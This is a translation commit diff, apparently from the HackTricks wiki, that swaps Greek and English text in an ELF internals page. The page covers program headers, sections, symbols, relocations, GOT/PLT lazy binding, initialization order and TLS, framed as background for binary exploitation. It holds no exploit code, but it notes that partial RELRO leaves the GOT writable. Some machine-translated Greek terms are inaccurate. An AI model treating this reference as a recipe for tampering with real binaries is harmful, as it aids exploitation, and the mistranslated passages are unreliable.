Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo

This commit is contained in:
Translator 2024-07-18 22:28:47 +00:00
parent 76bdebe212
commit 6bd9def87a
142 changed files with 9625 additions and 9156 deletions

View file

@ -1,18 +1,21 @@
# Βασικές Πληροφορίες για το ELF
# ELF Basic Information
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Κεφαλίδες Προγράμματος
## Program Headers
Περιγράφουν στον φορτωτή πώς να φορτώσει το **ELF** στη μνήμη:
```bash
@ -47,54 +50,54 @@ Segment Sections...
07
08 .init_array .fini_array .dynamic .got
```
Το προηγούμενο πρόγραμμα έχει **9 κεφαλίδες προγράμματος**, στη συνέχεια, η **αντιστοίχιση τμημάτων** υποδεικνύει σε ποια κεφαλίδα προγράμματος (από 00 έως 08) **κάθε ενότητα βρίσκεται**.
The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
### PHDR - Κεφαλίδα Προγράμματος
### PHDR - Program HeaDeR
Περιέχει τους πίνακες κεφαλίδων προγράμματος και τα μεταδεδομένα ίδια.
Contains the program header tables and metadata itself.
### INTERP
Υποδεικνύει τη διαδρομή του φορτωτή που θα χρησιμοποιηθεί για τη φόρτωση του δυαδικού στη μνήμη.
Indicates the path of the loader to use to load the binary into memory.
### LOAD
Αυτές οι κεφαλίδες χρησιμοποιούνται για να υποδείξουν **πώς να φορτώσουν ένα δυαδικό στη μνήμη.**\
Κάθε κεφαλίδα **LOAD** υποδεικνύει μια περιοχή **μνήμης** (μέγεθος, δικαιώματα και ευθυγράμμιση) και υποδεικνύει τα bytes του ELF **δυαδικού που θα αντιγραφούν εκεί**.
These headers are used to indicate **how to load a binary into memory.**\
Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**.
Για παράδειγμα, η δεύτερη έχει μέγεθος 0x1190, θα πρέπει να βρίσκεται στο 0x1fc48 με δικαιώματα ανάγνωσης και εγγραφής και θα γεμίσει με 0x528 από τη θέση 0xfc48 (δεν γεμίζει όλο το κρατημένο χώρο). Αυτή η μνήμη θα περιέχει τις ενότητες `.init_array .fini_array .dynamic .got .data .bss`.
For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
### DYNAMIC
Αυτή η κεφαλίδα βοηθά στη σύνδεση προγραμμάτων με τις εξαρτήσεις των βιβλιοθηκών τους και στην εφαρμογή ανατοποθετήσεων. Ελέγξτε την ενότητα **`.dynamic`**.
This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section.
### NOTE
Αποθηκεύει πληροφορίες μεταδότη σχετικά με το δυαδικό.
This stores vendor metadata information about the binary.
### GNU\_EH\_FRAME
Ορίζει τη θέση των πινάκων αναδίπλωσης στοίβας, που χρησιμοποιούνται από debuggers και λειτουργίες χειρισμού εξαιρέσεων C++.
Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions.
### GNU\_STACK
Περιέχει τη διαμόρφωση της προστασίας εκτέλεσης στοίβας. Εάν είναι ενεργοποιημένο, το δυαδικό δεν θα μπορεί να εκτελέσει κώδικα από τη στοίβα.
Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack.
### GNU\_RELRO
Υποδεικνύει τη διαμόρφωση RELRO (Relocation Read-Only) του δυαδικού. Αυτή η προστασία θα επισημάνει ως μόνο για ανάγνωση ορισμένες ενότητες της μνήμης (όπως το `GOT` ή οι πίνακες `init` και `fini`) μετά τη φόρτωση του προγράμματος και πριν αρχίσει να εκτελείται.
Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running.
Στο προηγούμενο παράδειγμα αντιγράφει 0x3b8 bytes στο 0x1fc48 ως μόνο για ανάγνωση επηρεάζοντας τις ενότητες `.init_array .fini_array .dynamic .got .data .bss`.
In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
Σημειώστε ότι το RELRO μπορεί να είναι μερικό ή πλήρες, η μερική έκδοση δεν προστατεύει την ενότητα **`.plt.got`**, η οποία χρησιμοποιείται για **αργή σύνδεση** και χρειάζεται αυτόν το χώρο μνήμης να έχει **δικαιώματα εγγραφής** για να γράψει τη διεύθυνση των βιβλιοθηκών την πρώτη φορά που αναζητείται η θέση τους.
Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
### TLS
Ορίζει έναν πίνακα εισαγωγών TLS, ο οποίος αποθηκεύει πληροφορίες σχετικά με τοπικές μεταβλητές νημάτων.
Defines a table of TLS entries, which stores info about thread-local variables.
## Κεφαλίδες Ενοτήτων
## Section Headers
Οι κεφαλίδες ενοτήτων παρέχουν μια πιο λεπτομερή εικόνα του δυαδικού ELF.
Section headers gives a more detailed view of the ELF binary
```
objdump lnstat -h
@ -155,22 +158,26 @@ CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
```
### Μετα-Ενότητες
It also indicates the location, offset, permissions but also the **type of data** it section has.
* **Πίνακας συμβόλων**: Περιέχει πληροφορίες σχετικά με τα σύμβολα όπως το όνομα (μετατόπιση στον πίνακα συμβόλων), διεύθυνση, μέγεθος και περισσότερα μεταδεδομένα σχετικά με το σύμβολο.
### Meta Sections
### Κύριες Ενότητες
* **String table**: Περιέχει όλα τα strings που χρειάζεται το αρχείο ELF (αλλά όχι αυτά που χρησιμοποιούνται πραγματικά από το πρόγραμμα). Για παράδειγμα, περιέχει ονόματα τμημάτων όπως `.text` ή `.data`. Και αν το `.text` είναι στο offset 45 στον πίνακα strings, θα χρησιμοποιήσει τον αριθμό **45** στο πεδίο **name**.
* Για να βρείτε πού είναι ο πίνακας strings, το ELF περιέχει έναν δείκτη στον πίνακα strings.
* **Symbol table**: Περιέχει πληροφορίες σχετικά με τα σύμβολα όπως το όνομα (offset στον πίνακα strings), διεύθυνση, μέγεθος και περισσότερα μεταδεδομένα σχετικά με το σύμβολο.
* **`.text`**: Οι οδηγίες του προγράμματος προς εκτέλεση.
* **`.data`**: Παγκόσμιες μεταβλητές με ορισμένη τιμή στο πρόγραμμα.
* **`.bss`**: Παγκόσμιες μεταβλητές που παραμένουν μη αρχικοποιημένες (ή αρχικοποιημένες σε μηδέν). Οι μεταβλητές εδώ αρχικοποιούνται αυτόματα σε μηδέν, αποτρέποντας άχρηστα μηδενικά να προστεθούν στο δυαδικό.
### Main Sections
* **`.text`**: Οι εντολές του προγράμματος που πρέπει να εκτελούνται.
* **`.data`**: Παγκόσμιες μεταβλητές με καθορισμένη τιμή στο πρόγραμμα.
* **`.bss`**: Παγκόσμιες μεταβλητές που έχουν μείνει μη αρχικοποιημένες (ή αρχικοποιημένες σε μηδέν). Οι μεταβλητές εδώ αρχικοποιούνται αυτόματα σε μηδέν, αποτρέποντας έτσι την προσθήκη άχρηστων μηδενικών στο δυαδικό.
* **`.rodata`**: Σταθερές παγκόσμιες μεταβλητές (τμήμα μόνο για ανάγνωση).
* **`.tdata`** και **`.tbss`**: Όπως το .data και το .bss όταν χρησιμοποιούνται μεταβλητές τοπικές προς το νήμα (`__thread_local` στη C++ ή `__thread` στη C).
* **`.tdata`** και **`.tbss`**: Όπως οι .data και .bss όταν χρησιμοποιούνται μεταβλητές τοπικού νήματος (`__thread_local` στην C++ ή `__thread` στην C).
* **`.dynamic`**: Δείτε παρακάτω.
## Σύμβολα
## Symbols
Τα σύμβολα είναι μια ονομασμένη τοποθεσία στο πρόγραμμα που μπορεί να είναι μια συνάρτηση, ένα παγκόσμιο αντικείμενο δεδομένων, μεταβλητές τοπικές προς το νήμα...
Symbols είναι μια ονομαστική τοποθεσία στο πρόγραμμα που μπορεί να είναι μια συνάρτηση, ένα παγκόσμιο αντικείμενο δεδομένων, μεταβλητές τοπικού νήματος...
```
readelf -s lnstat
@ -191,16 +198,16 @@ Num: Value Size Type Bind Vis Ndx Name
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
```
## Δυναμική Ενότητα
Κάθε είσοδος συμβόλου περιέχει:
Κάθε καταχώριση συμβόλου περιέχει:
* **Όνομα**
* **Δεσμευτικά χαρακτηριστικά** (ασθενές, τοπικό ή παγκόσμιο): Ένα τοπικό σύμβολο μπορεί να προσπελαστεί μόνο από το ίδιο το πρόγραμμα, ενώ τα παγκόσμια σύμβολα μοιράζονται έξω από το πρόγραμμα. Ένα ασθενές αντικείμενο είναι για παράδειγμα μια συνάρτηση που μπορεί να παρακαμφθεί από μια διαφορετική.
* **Τύπος**: NOTYPE (κανένας τύπος καθορισμένος), OBJECT (παγκόσμια μεταβλητή δεδομένων), FUNC (συνάρτηση), SECTION (τμήμα), FILE (αρχείο πηγαίου κώδικα για αποσφαλμάτωση), TLS (μεταβλητή τοπικού νήματος), GNU\_IFUNC (έμμεση συνάρτηση για ανακατανομή)
* **Δείκτης τμήματος** όπου βρίσκεται
* **Τιμή** (διεύθυνση στη μνήμη)
* **Μέγεθος**
- **Όνομα**
- **Χαρακτηριστικά σύνδεσης** (αδύναμο, τοπικό ή παγκόσμιο): Ένα τοπικό σύμβολο μπορεί να προσπελαστεί μόνο από το πρόγραμμα ενώ τα παγκόσμια σύμβολα είναι κοινόχρηστα έξω από το πρόγραμμα. Ένα αδύναμο αντικείμενο είναι, για παράδειγμα, μια συνάρτηση που μπορεί να αντικατασταθεί από μια διαφορετική.
- **Τύπος**: NOTYPE (δεν έχει καθοριστεί τύπος), OBJECT (παγκόσμια μεταβλητή δεδομένων), FUNC (συνάρτηση), SECTION (ενότητα), FILE (αρχείο πηγαίου κώδικα για debuggers), TLS (μεταβλητή τοπικής νηματικής αποθήκευσης), GNU_IFUNC (έμμεση συνάρτηση για ανακατεύθυνση)
- Δείκτης **Ενότητας** όπου βρίσκεται
- **Τιμή** (διεύθυνση στη μνήμη)
- **Μέγεθος**
## Δυναμικό Τμήμα
```
readelf -d lnstat
@ -235,13 +242,11 @@ Tag Type Name/Value
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
## Απαιτούμενα
Ο κατάλογος NEEDED υποδεικνύει ότι το πρόγραμμα **χρειάζεται να φορτώσει τη συγκεκριμένη βιβλιοθήκη** προκειμένου να συνεχίσει. Ο κατάλογος NEEDED ολοκληρώνεται μόλις η κοινή **βιβλιοθήκη είναι πλήρως λειτουργική και έτοιμη** προς χρήση.
Ο κατάλογος NEEDED υποδεικνύει ότι το πρόγραμμα **χρειάζεται να φορτώσει την αναφερόμενη βιβλιοθήκη** προκειμένου να συνεχίσει. Ο κατάλογος NEEDED ολοκληρώνεται όταν η κοινόχρηστη **βιβλιοθήκη είναι πλήρως λειτουργική και έτοιμη** για χρήση.
## Relocations
## Ανακατασκευές
Ο φορτωτής πρέπει επίσης να ανακατασκευάσει τις εξαρτήσεις μετά τη φόρτωσή τους. Αυτές οι ανακατασκευές εμφανίζονται στον πίνακα ανακατασκευών σε μορφές REL ή RELA και ο αριθμός των ανακατασκευών δίνεται στις δυναμικές ενότητες RELSZ ή RELASZ.
Ο φορτωτής πρέπει επίσης να μετατοπίσει τις εξαρτήσεις αφού τις έχει φορτώσει. Αυτές οι μετατοπίσεις υποδεικνύονται στον πίνακα μετατοπίσεων σε μορφές REL ή RELA και ο αριθμός των μετατοπίσεων δίνεται στις δυναμικές ενότητες RELSZ ή RELASZ.
```
readelf -r lnstat
@ -307,7 +312,6 @@ Offset Info Type Sym. Value Sym. Name + Addend
00000001ff68 002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0
00000001ff70 002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0
00000001ff78 002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0
```plaintext
00000001ff80 002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0
00000001ff88 002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0
00000001ff90 002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0
@ -315,25 +319,25 @@ Offset Info Type Sym. Value Sym. Name + Addend
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
```
### Στατικές Επανατοποθετήσεις
### Στατικές Μεταθέσεις
Εάν το πρόγραμμα φορτώνεται σε έναν διαφορετικό τόπο από την προτιμώμενη διεύθυνση (συνήθως 0x400000) επειδή η διεύθυνση χρησιμοποιείται ή λόγω του ASLR ή οποιουδήποτε άλλου λόγου, μια στατική επανατοποθέτηση διορθώνει τους δείκτες που είχαν τιμές που αναμένουν το δυαδικό να φορτωθεί στην προτιμώμενη διεύθυνση.
Αν το **πρόγραμμα φορτωθεί σε διαφορετική θέση** από τη προτιμώμενη διεύθυνση (συνήθως 0x400000) επειδή η διεύθυνση είναι ήδη χρησιμοποιούμενη ή λόγω **ASLR** ή οποιουδήποτε άλλου λόγου, μια στατική μετάθεση **διορθώνει τους δείκτες** που είχαν τιμές περιμένοντας το δυαδικό να φορτωθεί στη προτιμώμενη διεύθυνση.
Για παράδειγμα, οποιαδήποτε ενότητα τύπου `R_AARCH64_RELATIV` θα έπρεπε να έχει τροποποιήσει τη διεύθυνση στην ανακατεύθυνση συμπλέγματος συν την τιμή πρόσθεσης.
Για παράδειγμα, οποιαδήποτε ενότητα τύπου `R_AARCH64_RELATIV` θα πρέπει να έχει τροποποιήσει τη διεύθυνση με το μεταθετικό σφάλμα συν την τιμή προσθέτου.
### Δυναμικές Επανατοποθετήσεις και GOT
### Δυναμικές Μεταθέσεις και GOT
Η επανατοποθέτηση θα μπορούσε επίσης να αναφέρεται σε ένα εξωτερικό σύμβολο (όπως μια συνάρτηση από μια εξάρτηση). Για παράδειγμα, η συνάρτηση malloc από το libC. Στη συνέχεια, ο φορτωτής κατά τη φόρτωση του libC σε μια διεύθυνση ελέγχοντας πού φορτώνεται η συνάρτηση malloc, θα γράψει αυτήν τη διεύθυνση στον πίνακα GOT (Global Offset Table) (που υποδηλώνεται στον πίνακα επανατοποθετήσεων) όπου θα πρέπει να καθορίζεται η διεύθυνση της malloc.
Η μετάθεση θα μπορούσε επίσης να αναφέρεται σε ένα εξωτερικό σύμβολο (όπως μια συνάρτηση από μια εξάρτηση). Όπως η συνάρτηση malloc από τη libC. Έτσι, ο φορτωτής όταν φορτώνει τη libC σε μια διεύθυνση ελέγχει πού είναι φορτωμένη η συνάρτηση malloc, θα γράψει αυτή τη διεύθυνση στον πίνακα GOT (Global Offset Table) (που υποδεικνύεται στον πίνακα μεταθέσεων) όπου θα πρέπει να καθοριστεί η διεύθυνση του malloc.
### Πίνακας Διασύνδεσης Διαδικασίας
### Πίνακας Σύνδεσης Διαδικασιών
Η ενότητα PLT επιτρέπει την αργή σύνδεση, που σημαίνει ότι η επίλυση της τοποθεσίας μιας συνάρτησης θα πραγματοποιηθεί την πρώτη φορά που θα αποκτήσει πρόσβαση.
Η ενότητα PLT επιτρέπει την εκτέλεση καθυστερημένης σύνδεσης, που σημαίνει ότι η επίλυση της τοποθεσίας μιας συνάρτησης θα πραγματοποιηθεί την πρώτη φορά που θα προσπελαστεί.
Έτσι, όταν ένα πρόγραμμα καλεί την malloc, καλεί πραγματικά την αντίστοιχη τοποθεσία της `malloc` στο PLT (`malloc@plt`). Την πρώτη φορά που καλείται, επιλύει τη διεύθυνση της `malloc` και την αποθηκεύει, έτσι την επόμενη φορά που καλείται η `malloc`, χρησιμοποιείται αυτή η διεύθυνση αντί του κώδικα του PLT.
Έτσι, όταν ένα πρόγραμμα καλεί τη malloc, στην πραγματικότητα καλεί την αντίστοιχη τοποθεσία του `malloc` στον PLT (`malloc@plt`). Την πρώτη φορά που καλείται, επιλύει τη διεύθυνση του `malloc` και την αποθηκεύει, ώστε την επόμενη φορά που θα κληθεί η `malloc`, αυτή η διεύθυνση να χρησιμοποιείται αντί του κώδικα PLT.
## Αρχικοποίηση Προγράμματος
Αφού το πρόγραμμα έχει φορτωθεί, είναι η ώρα να τρέξει. Ωστόσο, ο πρώτος κώδικας που εκτελείται **δεν είναι πάντα η συνάρτηση `main`**. Αυτό συμβαίνει επειδή, για παράδειγμα στη C++, εάν μια **καθολική μεταβλητή είναι ένα αντικείμενο μιας κλάσης**, αυτό το αντικείμενο πρέπει να **αρχικοποιηθεί πριν** τον τρέξιμο της main, όπως στο:
Αφού το πρόγραμμα έχει φορτωθεί, ήρθε η ώρα να εκτελεστεί. Ωστόσο, ο πρώτος κώδικας που εκτελείται **δεν είναι πάντα η συνάρτηση `main`**. Αυτό συμβαίνει επειδή, για παράδειγμα, στην C++ αν μια **παγκόσμια μεταβλητή είναι ένα αντικείμενο μιας κλάσης**, αυτό το αντικείμενο πρέπει να **αρχικοποιηθεί** **πριν** εκτελεστεί η main, όπως στο:
```cpp
#include <stdio.h>
// g++ autoinit.cpp -o autoinit
@ -354,36 +358,51 @@ printf("Main\n");
return 0;
}
```
Σημειώστε ότι αυτές οι καθολικές μεταβλητές βρίσκονται στο `.data` ή στο `.bss` αλλά στις λίστες `__CTOR_LIST__` και `__DTOR_LIST__` τα αντικείμενα που πρέπει να αρχικοποιηθούν και να καταστραφούν αποθηκεύονται με σειρά για να παρακολουθούνται.
Σημειώστε ότι αυτές οι παγκόσμιες μεταβλητές βρίσκονται στο `.data` ή `.bss`, αλλά στις λίστες `__CTOR_LIST__` και `__DTOR_LIST__` τα αντικείμενα που πρέπει να αρχικοποιηθούν και να καταστραφούν αποθηκεύονται για να παρακολουθούνται.
Από τον κώδικα C είναι δυνατό να επιτευχθεί το ίδιο αποτέλεσμα χρησιμοποιώντας τις επεκτάσεις της GNU:
Από τον κώδικα C είναι δυνατόν να αποκτηθεί το ίδιο αποτέλεσμα χρησιμοποιώντας τις επεκτάσεις GNU:
```c
__attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list
```
Από την οπτική γωνία του μεταγλωττιστή, για να εκτελεστούν αυτές οι ενέργειες πριν και μετά την εκτέλεση της συνάρτησης `main`, είναι δυνατόν να δημιουργηθεί μια συνάρτηση `init` και μια συνάρτηση `fini` οι οποίες θα αναφέρονται στη δυναμική ενότητα ως **`INIT`** και **`FIN`** και θα τοποθετούνται στις ενότητες `init` και `fini` του ELF.
Από την προοπτική ενός μεταγλωττιστή, για να εκτελούνται αυτές οι ενέργειες πριν και μετά την εκτέλεση της συνάρτησης `main`, είναι δυνατόν να δημιουργηθεί μια συνάρτηση `init` και μια συνάρτηση `fini` που θα αναφέρονται στην δυναμική ενότητα ως **`INIT`** και **`FIN`**. και τοποθετούνται στις ενότητες `init` και `fini` του ELF.
Η άλλη επιλογή, όπως αναφέρθηκε, είναι να αναφερθούν οι λίστες **`__CTOR_LIST__`** και **`__DTOR_LIST__`** στις καταχωρήσεις **`INIT_ARRAY`** και **`FINI_ARRAY`** στη δυναμική ενότητα και το μήκος τους υποδεικνύεται από τα **`INIT_ARRAYSZ`** και **`FINI_ARRAYSZ`**. Κάθε καταχώρηση είναι ένας δείκτης συνάρτησης που θα κληθεί χωρίς ορίσματα.
Η άλλη επιλογή, όπως αναφέρθηκε, είναι να αναφερθούν οι λίστες **`__CTOR_LIST__`** και **`__DTOR_LIST__`** στις εγγραφές **`INIT_ARRAY`** και **`FINI_ARRAY`** στη δυναμική ενότητα και το μήκος αυτών υποδεικνύεται από **`INIT_ARRAYSZ`** και **`FINI_ARRAYSZ`**. Κάθε εγγραφή είναι ένας δείκτης συνάρτησης που θα καλείται χωρίς παραμέτρους.
Επιπλέον, είναι επίσης δυνατόν να υπάρχει ένα **`PREINIT_ARRAY`** με **δείκτες** που θα εκτελούνται **πριν από** τους δείκτες του **`INIT_ARRAY`**.
Επιπλέον, είναι επίσης δυνατό να υπάρχει μια **`PREINIT_ARRAY`** με **δείκτες** που θα εκτελούνται **πριν** από τους δείκτες **`INIT_ARRAY`**.
### Σειρά Αρχικοποίησης
1. Το πρόγραμμα φορτώνεται στη μνήμη, οι στατικές παγκόσμιες μεταβλητές αρχικοποιούνται στο **`.data`** και οι μη αρχικοποιημένες μηδενίζονται στο **`.bss`**.
2. Όλες οι **εξαρτήσεις** για το πρόγραμμα ή τις βιβλιοθήκες αρχικοποιούνται και εκτελείται η **δυναμική σύνδεση**.
2. Όλες οι **εξαρτήσεις** για το πρόγραμμα ή τις βιβλιοθήκες **αρχικοποιούνται** και η **δυναμική σύνδεση** εκτελείται.
3. Οι συναρτήσεις **`PREINIT_ARRAY`** εκτελούνται.
4. Οι συναρτήσεις **`INIT_ARRAY`** εκτελούνται.
5. Εάν υπάρχει μια είσοδος **`INIT`**, καλείται.
6. Εάν είναι μια βιβλιοθήκη, το dlopen τελειώνει εδώ, εάν είναι ένα πρόγραμμα, είναι η στιγμή να κληθεί το **πραγματικό σημείο εισόδου** (συνάρτηση `main`).
5. Αν υπάρχει μια εγγραφή **`INIT`**, καλείται.
6. Αν είναι μια βιβλιοθήκη, το dlopen τελειώνει εδώ, αν είναι πρόγραμμα, είναι ώρα να καλέσουμε το **πραγματικό σημείο εισόδου** (συνάρτηση `main`).
## Αποθήκευση Νημάτων (TLS)
## Αποθήκευση Τοπικών Νημάτων (TLS)
Ορίζονται χρησιμοποιώντας τη λέξη-κλειδί **`__thread_local`** στη C++ ή την επέκταση GNU **`__thread`**.
Ορίζονται χρησιμοποιώντας τη λέξη-κλειδί **`__thread_local`** στην C++ ή την επέκταση GNU **`__thread`**.
Κάθε νήμα θα διατηρεί ένα μοναδικό χώρο για αυτήν τη μεταβλητή, έτσι ώστε μόνο το νήμα να μπορεί να έχει πρόσβαση στη μεταβλητή του.
Κάθε νήμα θα διατηρεί μια μοναδική τοποθεσία για αυτή τη μεταβλητή, έτσι μόνο το νήμα μπορεί να έχει πρόσβαση στη μεταβλητή του.
Όταν χρησιμοποιείται αυτό, οι ενότητες **`.tdata`** και **`.tbss`** χρησιμοποιούνται στο ELF. Οι οποίες είναι σαν τις `.data` (αρχικοποιημένες) και `.bss` (μη αρχικοποιημένες) αλλά για TLS.
Όταν αυτό χρησιμοποιείται, οι ενότητες **`.tdata`** και **`.tbss`** χρησιμοποιούνται στο ELF. Οι οποίες είναι όπως η `.data` (αρχικοποιημένη) και η `.bss` (μη αρχικοποιημένη) αλλά για TLS.
Κάθε μεταβλητή θα έχει μια καταχώρηση στην κεφαλίδα TLS που καθορίζει το μέγεθος και τη θέση TLS, η οποία είναι η θέση που θα χρησιμοποιήσει στην τοπική περιοχή δεδομένων του νήματος.
Κάθε μεταβλητή θα έχει μια εγγραφή στην κεφαλίδα TLS που θα καθορίζει το μέγεθος και την απόσταση TLS, η οποία είναι η απόσταση που θα χρησιμοποιήσει στην τοπική περιοχή δεδομένων του νήματος.
Το `__TLS_MODULE_BASE` είναι ένα σύμβολο που χρησιμοποιείται για να αναφέρεται στη βασική διεύθυνση της αποθήκευσης νημάτων και δείχνει στην περιοχή μνήμης που περιέχει όλα τα δεδομένα του τοπικού νήματος ενός μονάδας.
Ο `__TLS_MODULE_BASE` είναι ένα σύμβολο που χρησιμοποιείται για να αναφέρεται στη βασική διεύθυνση της αποθήκευσης τοπικών νημάτων και δείχνει στην περιοχή μνήμης που περιέχει όλα τα τοπικά δεδομένα νημάτων ενός module.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,25 @@
# Συνηθισμένα προβλήματα εκμετάλλευσης
# Κοινά Προβλήματα Εκμετάλλευσης
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
